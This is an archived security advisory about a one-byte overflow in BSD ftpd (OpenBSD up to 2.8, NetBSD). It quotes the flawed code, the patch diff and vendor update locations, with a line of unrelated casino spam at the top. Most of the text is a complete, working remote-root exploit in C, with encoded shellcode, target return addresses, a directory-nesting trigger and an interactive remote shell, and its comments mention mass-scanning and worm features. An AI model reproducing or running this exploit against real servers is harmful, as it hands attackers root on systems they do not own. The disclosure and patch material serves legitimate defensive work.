Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
28th Dec 2000 [SBWID-87]
COMMAND
	    ftpd
SYSTEMS AFFECTED
	    BSD ftp
PROBLEM
	    Following is based on a  OpenBSD Security Advisory.  A  relatively
	    obscure one-byte buffer overflow bug present in ftpd(8) turns  out
	    to be a serious problem,  yielding remote users root access  under
	    certain conditions.    For  a system  to be  vulnerable, ftpd must
	    have been explicitly enabled  by the administrator (OpenBSD  ships
	    with it OFF  by default) and  the attacker must  have write access
	    to at  least one  directory.   Therefore, anonymous  read-only FTP
	    servers are safe (we  recommend applying the patch  regardless, of
	    course).   Non-anonymous   FTP  administrators  should   seriously
	    consider using a more secure transport like SSH.
	    The offending code is as follows:
	
	        char npath[MAXPATHLEN];
	        int i;
	        for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) {
		        npath[i] = *name;
		        if (*name == '"')
			        npath[++i] = '"';
	        }
	        npath[i] = '\0';
	
	    In <sys/param.h>,  MAXPATHLEN is  defined to  be 1024  bytes.  The
	    for() construct here correctly bounds  variable `i' to be <  1023,
	    such that when  the loop has  ended, no byte  past npath[1023] may
	    be written with '\0'.   However, since `i' is also  incremented in
	    the nested statements  here, it can  become as large  as 1024, and
	    npath[1024] is past the end of the allocated buffer space.
	    The original bug report comes from here:
	
	        http://www.geocrawler.com/lists/3/OpenBSD/254/75/4767480/
	
	    This  vulnerability  was  first   reported  to  OpenBSD   Kristian
	    Vlaardingerbroek through the mailing list.  Kristian  acknowledged
	    in  a  later  post  that  it  was  Ronald  (a.k.a.  Scrippie)  who
	    originally found the bug.
	
	    /*
	       h0h0h0 0-day k0d3z
	       Exploit by Scrippie, help by dvorak and jimjones
	       greets to sk8
	       Not fully developt exploit but it works most of the time ;)
	       Things to add:
	          - automatic writeable directory finding
	          - syn-scan option to do mass-scanning
	          - worm capabilities? (should be done seperatly using the -C option
	       11/13/2000
	    */
	    #include <stdio.h>
	    #include <netdb.h>
	    #include <netinet/in.h>
	    #include <sys/socket.h>
	    #include <sys/types.h>
	    #include <unistd.h>
	    void usage(char *program);
	    char *strcreat(char *, char *, int);
	    char *longToChar(unsigned long);
	    char *xrealloc(void *, size_t);
	    void xfree(char **ptr);
	    char *xmalloc(size_t);
	    int xconnect(char *host, u_short port);
	    void xsend(int fd, char *buf);
	    void xsendftpcmd(int fd, char *command, char *param);
	    void xrecieveall(int fd, char *buf, int size);
	    void xrecieve(int fd, char *buf, int size);
	    void ftp_login(int fd, char *user, char *password);
	    void exploit(int fd);
	    int verbose = 0;
	    /*
	       Written by dvorak, garbled up by "Smegma" with a word xor 0xaabb mask
	       to get rid of dots and slashes.
	    */
	    char heavenlycode[] =
	    "\x31\xc0\x89\xc1\x80\xc1\x02\x51\x50\x04\x5a\x50\xcd\x80"
	    "\xeb\x10\x5e\x31\xc9\xb1\x4a\x66\x81\x36\xbb\xaa\x46\x46\xe2\xf7\xeb\x05\xe8\xeb\xff\xff\xff\xff\xff\xff\x50\xcf\xe5\x9b\x7b\xfa\xbf\xbd\xeb\x67\x3b\xfc\x8a\x6a\x33\xec\xba\xae\x33\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\xb5\x36\xf4\xa5\xf9\xbf\xaf\xeb\x67\x3b\x23\x7a\xfc\x8a\x6a\xbf\x97\xeb\x67\x3b\xfb\x8a\x6a\xbf\xa4\xf3\xfa\x76\x2a\x36\xf4\xb9\xf9\x8a\x6a\xbf\xa6\xeb\x67\x3b\x27\xe5\xb4\xe8\x9b\x7b\xae\x86\xfa\x76\x2a\x8a\x6a\xeb\x22\xfd\x8d\x36\xf4\x93\xf9\x36\xf4\x9b\x23\xe5\x82\x32\xec\x97\xf9\xbf\x91\xeb\x67\x3b\x42\x2d\x55\x44\x55\xfa\xeb\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\x85\x95\x84\x94\x84\x95\xeb\x94\xc8\xd2\xc4\x94\xd9\xd3";
	    char user[255] = "anonymous";
	    char pass[255] = "[email protected]";
	    char write_dir[PATH_MAX] = "/";
	    int ftpport = 21;
	    unsigned long int ret_addr = 0;
	    #define CMD_LOCAL 0
	    #define CMD_REMOTE 1
	    int command_type = -1;
	    char *command = NULL;
	    struct typeT {
		    char *name;
		    unsigned long int ret_addr;
	    };
	    #define NUM_TYPES 2
	    struct typeT types[NUM_TYPES] = {
		    "OpenBSD 2.6", 0xdfbfd0ac,
		    "OpenBSD 2.7", 0xdfbfd0ac};
	    void
	    usage(char *program)
	    {
		    int i;
		    fprintf(stderr,
			    "\nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d directory] [-t type]\n\t\t[-r retaddr] [-c command] [-C command]\n\n"
			    "Directory should be an absolute path, writable by the user.\n"
			    "The argument of -c will be executed on the remote host\n"
			    "while the argument of -C will be executed on the local\n"
			    "with its filedescriptors connected to the remote host\n"
			    "Valid types:\n",
			    program);
		    for (i = 0; i < NUM_TYPES; i++) {
			    printf("%d : %s\n", i,  types[i].name);
		    }
		    exit(-1);
	    }
	    main(int argc, char **argv)
	    {
		    unsigned int i;
		    int opt, fd;
		    unsigned int type = 0;
		    char *hostname = "localhost";
		    if (argc < 2)
			    usage(argv[0]);
		    while ((opt = getopt(argc, argv, "h:r:u:f:d:t:vp:c:C:")) != -1) {
			    switch (opt) {
			    case 'h':
				    hostname = optarg;
				    break;
			    case 'C':
				    command = optarg;
				    command_type = CMD_LOCAL;
				    break;
			    case 'c':
				    command = optarg;
				    command_type = CMD_REMOTE;
				    break;
			    case 'r':
				    ret_addr = strtoul(optarg, NULL, 0);
				    break;
			    case 'v':
				    verbose++;
				    break;
			    case 'f':
				    if (!(ftpport = atoi(optarg))) {
					    fprintf(stderr, "Invalid destination port - %s\n", optarg);
					    exit(-1);
				    }
				    exit(-1);
				    break;
			    case 'u':
				    strncpy(user, optarg, sizeof(user) - 1);
				    user[sizeof(user) - 1] = 0x00;
				    break;
			    case 'p':
				    strncpy(pass, optarg, sizeof(pass) - 1);
				    pass[sizeof(pass) - 1] = 0x00;
				    break;
			    case 'd':
				    strncpy(write_dir, optarg, sizeof(write_dir) - 1);
				    write_dir[sizeof(write_dir) - 1] = 0x00;
				    if ((write_dir[0] != '/'))
					    usage(argv[0]);
				    if ((write_dir[strlen(write_dir) - 1] != '/'))
					    strncat(write_dir, "/", sizeof(write_dir) - 1);
				    break;
			    case 't':
				    type = atoi(optarg);
				    if (type > NUM_TYPES)
					    usage(argv[0]);
				    break;
			    default:
				    usage(argv[0]);
			    }
		    }
		    if (ret_addr == 0)
			    ret_addr = types[type].ret_addr;
		    if ((fd = xconnect(hostname, ftpport)) == -1)
			    exit(-1);
		    else
			    printf("Connected to remote host! Sending evil codes.\n");
		    ftp_login(fd, user, pass);
		    exploit(fd);
	    }
	    int
	    ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg)
	    {
		    xsendftpcmd(fd, command, param);
		    xrecieveall(fd, res, size);
		    if (res == NULL)
			    return 0;
		    if (verbose)
			    printf("%s\n", res);
		    if (msg && (res[0] != '2')) {
			    fprintf(stderr, "%s\n", msg);
			    exit(-1);
		    }
		    return (res[0] != '2');
	    }
	    void shell(int fd)
	    {
		    fd_set readfds;
		    char buf[1];
		    char *tst = "echo ; echo ; echo HAVE FUN ; id ; uname -a\n";
		    write(fd, tst, strlen(tst));
		    while (1) {
			    FD_ZERO(&readfds);
			    FD_SET(0, &readfds);
			    FD_SET(fd, &readfds);
			    select(fd + 1, &readfds, NULL, NULL, NULL);
			    if (FD_ISSET(0, &readfds)) {
				    if (read(0, buf, 1) != 1) {
					    perror("read");
					    exit(1);
				    }
				    write(fd, buf, 1);
			    }
			    if (FD_ISSET(fd, &readfds)) {
				    if (read(fd, buf, 1) != 1) {
					    perror("read");
					    exit(1);
				    }
				    write(1, buf, 1);
			    }
		    }
	    }
	    void do_command(int fd)
	    {
		    char buffer[1024];
		    int len;
		    if (command_type == CMD_LOCAL) {
			    dup2(fd, 0);
			    dup2(fd, 1);
			    dup2(fd, 2);
			    execl(command, command, NULL);
			    exit (2);
		    }
		    write(fd, command, strlen(command));
		    write(fd, "\n", 1);
		    while ((len = read(fd, buffer, sizeof(buffer))) > 0) {
			    write(1, buffer, len);
		    }
		    exit (0);
	    }
	    void execute_command(fd)
	    {
	    }
	    int exploit_ok(int fd)
	    {
		    char result[1024];
		    xsend(fd, "id\n");
		    xrecieve(fd, result, sizeof(result));
		    return (strstr(result, "uid=") != NULL);
	    }
	    void exploit(int fd)
	    {
		    char res[1024];
		    int heavenlycode_s;
		    char *dir = NULL;
		    ftp_cmd_err(fd, "CWD", write_dir, res, 1024, "Can't CWD to write_dir");
		    dir = strcreat(dir, "A", 255 - strlen(write_dir));
		    ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
		    ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
		    xfree(&dir);
		    /* next on = 256 */
		    dir = strcreat(dir, "A", 255);
		    ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
		    ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
		    xfree(&dir);
		    /* next on = 512 */
		    heavenlycode_s = strlen(heavenlycode);
		    dir = strcreat(dir, "A", 254 - heavenlycode_s);
		    dir = strcreat(dir, heavenlycode, 1);
		    ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
		    ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
		    xfree(&dir);
		    /* next on = 768 */
		    dir = strcreat(dir, longToChar(ret_addr), 252 / 4);
		    ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
		    ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
		    xfree(&dir);
		    /* length = 1020 */
		    /* 1022 moet " zijn */
		    dir = strcreat(dir, "AAA\"", 1);
		    ftp_cmd_err(fd, "MKD", dir, res, 1024, NULL);
		    ftp_cmd_err(fd, "CWD", dir, res, 1024, "Can't change to directory");
		    xfree(&dir);
		    /* and tell it to blow up */
		    ftp_cmd_err(fd, "PWD", NULL, res, 1024, NULL);
		    if (!exploit_ok(fd)) {
			    if (command != NULL) {
				    exit (2);
			    }
			    fprintf(stderr, "Exploit failed\n");
			    exit (1);
		    }
		    if (command == NULL)
			    shell(fd);
		    else
			    do_command(fd);
	    }
	    char *
	    strcreat(char *dest, char *pattern, int repeat)
	    {
		    char *ret;
		    size_t plen, dlen = 0;
		    int i;
		    if (dest)
			    dlen = strlen(dest);
		    plen = strlen(pattern);
		    ret = (char *) xrealloc(dest, dlen + repeat * plen + 1);
		    if (!dest)
			    ret[0] = 0x00;
		    for (i = 0; i < repeat; i++) {
			    strcat(ret, pattern);
		    }
		    return (ret);
	    }
	    char *
	    longToChar(unsigned long blaat)
	    {
		    char *ret;
		    ret = (char *) xmalloc(sizeof(long) + 1);
		    memcpy(ret, &blaat, sizeof(long));
		    ret[sizeof(long)] = 0x00;
		    return (ret);
	    }
	    char *
	    xrealloc(void *ptr, size_t size)
	    {
		    char *wittgenstein_was_a_drunken_swine;
		    if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size))) {
			    fprintf(stderr, "Cannot calculate universe\n");
			    exit(-1);
		    }
		    return (wittgenstein_was_a_drunken_swine);
	    }
	    void
	    xfree(char **ptr)
	    {
		    if (!ptr || !*ptr)
			    return;
		    free(*ptr);
		    *ptr = NULL;
	    }
	    char *
	    xmalloc(size_t size)
	    {
		    char *heidegger_was_a_boozy_beggar;
		    if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) {
			    fprintf(stderr, "Out of cheese error\n");
			    exit(-1);
		    }
		    return (heidegger_was_a_boozy_beggar);
	    }
	    int
	    xconnect(char *host, u_short port)
	    {
		    struct hostent *he;
		    struct sockaddr_in s_in;
		    int fd;
		    if ((he = gethostbyname(host)) == NULL) {
			    perror("gethostbyname");
			    return (-1);
		    }
		    memset(&s_in, 0, sizeof(s_in));
		    s_in.sin_family = AF_INET;
		    s_in.sin_port = htons(port);
		    memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length);
		    if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
			    perror("socket");
			    return (-1);
		    }
		    if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1) {
			    perror("connect");
			    return (-1);
		    }
		    return fd;
	    }
	    /* returns status from ftpd */
	    void
	    ftp_login(int fd, char *user, char *password)
	    {
		    char reply[512];
		    int rep;
		    xrecieveall(fd, reply, sizeof(reply));
		    if (verbose) {
			    printf("Logging in ..\n");
			    printf("%s\n", reply);
		    }
		    xsendftpcmd(fd, "USER", user);
		    xrecieveall(fd, reply, sizeof(reply));
		    if (verbose)
			    printf("%s\n", reply);
		    xsendftpcmd(fd, "PASS", password);
		    xrecieveall(fd, reply, sizeof(reply));
		    if (verbose)
			    printf("%s\n", reply);
		    if (reply[0] != '2') {
			    printf("Login failed.\n");
			    exit(-1);
		    }
	    }
	    void
	    xsendftpcmd(int fd, char *command, char *param)
	    {
		    xsend(fd, command);
		    if (param != NULL) {
			    xsend(fd, " ");
			    xsend(fd, param);
		    }
		    xsend(fd, "\r\n");
	    }
	    void
	    xsend(int fd, char *buf)
	    {
		    if (send(fd, buf, strlen(buf), 0) != strlen(buf)) {
			    perror("send");
			    exit(-1);
		    }
	    }
	    void
	    xrecieveall(int fd, char *buf, int size)
	    {
		    char scratch[6];
		    if (buf == NULL || size == 0) {
			    buf = scratch;
			    size = sizeof(scratch);
		    }
		    memset(buf, 0, size);
		    do {
			    xrecieve(fd, buf, size);
		    } while (buf[3] == '-');
	    }
	    /* recieves a line from the ftpd */
	    void
	    xrecieve(int fd, char *buf, int size)
	    {
		    char *end;
		    char ch;
		    end = buf + size;
		    while (buf < end) {
			    if (read(fd, buf, 1) != 1) {
				    perror("read");	/* XXX */
				    exit(-1);
			    }
			    if (buf[0] == '\n') {
				    buf[0] = '\0';
				    return;
			    }
			    if (buf[0] != '\r') {
				    buf++;
			    }
		    }
		    buf--;
		    while (read(fd, buf, 1) == 1) {
			    if (buf[0] == '\n') {
				    buf[0] = '\0';
				    return;
			    }
		    }
		    perror("read");		/* XXX */
		    exit(-1);
	    }
	
SOLUTION
	    A fix  for this  problem was  committed on  December 4th.  OpenBSD
	    developers  became  aware  of  a  publicly  available  exploit  on
	    December 17th.
	    This vulnerability affects OpenBSD versions through 2.8.   FreeBSD
	    is reportedly not  vulnerable.  NetBSD  is vulnerable to  the same
	    bug and a patch was applied to their tree on December 14th.  Patch
	    for OpenBSD 2.8:
	
	    Index: libexec/ftpd/ftpd.c
	    ===================================================================
	    RCS file: /cvs/src/libexec/ftpd/ftpd.c,v
	    retrieving revision 1.79
	    diff -u -r1.79 ftpd.c
	    --- libexec/ftpd/ftpd.c	2000/09/15 07:13:45	1.79
	    +++ libexec/ftpd/ftpd.c	2000/12/05 17:06:29
	    @@ -1959,15 +1959,21 @@
	     replydirname(name, message)
	 	    const char *name, *message;
	     {
	    +	char *p, *ep;
	 	    char npath[MAXPATHLEN];
	    -	int i;
	    -	for (i = 0; *name != '\0' && i < sizeof(npath) - 1; i++, name++) {
	    -		npath[i] = *name;
	    -		if (*name == '"')
	    -			npath[++i] = '"';
	    +	p = npath;
	    +	ep = &npath[sizeof(npath) - 1];
	    +	while (*name) {
	    +		if (*name == '"' && ep - p >= 2) {
	    +			*p++ = *name++;
	    +			*p++ = '"';
	    +		} else if (ep - p >= 1)
	    +			*p++ = *name++;
	    +		else
	    +			break;
	 	    }
	    -	npath[i] = '\0';
	    +	*p = '\0';
	 	    reply(257, "\"%s\" %s", npath, message);
	     }
	
	    For Trustix:
	
	        For version 1.2: ftpd-BSD-0.3.2-4tr.i586.rpm
	                         ftpd-BSD-0.3.2-4tr.src.rpm
	        For version 1.1 and 1.0:
	                         ftpd-BSD-0.3.2-4tr.i586.rpm
	                         ftpd-BSD-0.3.2-4tr.src.rpm
	
	    Get these updates at:
	
	        ftp://ftp.trustix.net/pub/Trustix/updates/
	        http://www.trustix.net/pub/Trustix/updates/
	
	    Users of 1.0x and 1.1 should go to the 1.1 directory, while  users
	    of 1.2 should use the packages available in the 1.2 directory.
	    Systems running NetBSD-current dated from before December 4,  2000
	    should be  upgraded to  NetBSD-current dated  December 4,  2000 or
	    later.  Systems running releases  older than NetBSD 1.4 should  be
	    upgraded to NetBSD 1.4.3 before applying the fixes described here.
	    Systems running NetBSD 1.4.3 should apply the patch contained in
	
	        ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/20001220-ftpd-1.4.3
	
	    Systems running NetBSD 1.5 should apply the patch contained in
	
	        ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/20001220-ftpd-1.5
	
	    Different patches are needed  because the vulnerable function  was
	    moved from ftpd.c to cmds.c.
	    Sam Trenholme patched David Madore's Linux port of OpenBSD's  ftpd
	    against the problems  present in replydirname().   While the  word
	    is that  Linux is  not currently  exploitable, it  is better to be
	    safe  than  sorry.   He  also  patched  against the setproctitle()
	    problems previously reported, even though they are a non-issue due
	    to the manner  David Madore ported  OpenBSD's FTPD to  Linux.  The
	    patches are against the 0.2.3 release of ftpd-BSD (David  Madore's
	    name for the port), and are available in RPM format here:
	
	        http://www.samiam.org/rpms/
	
	

Internet highlights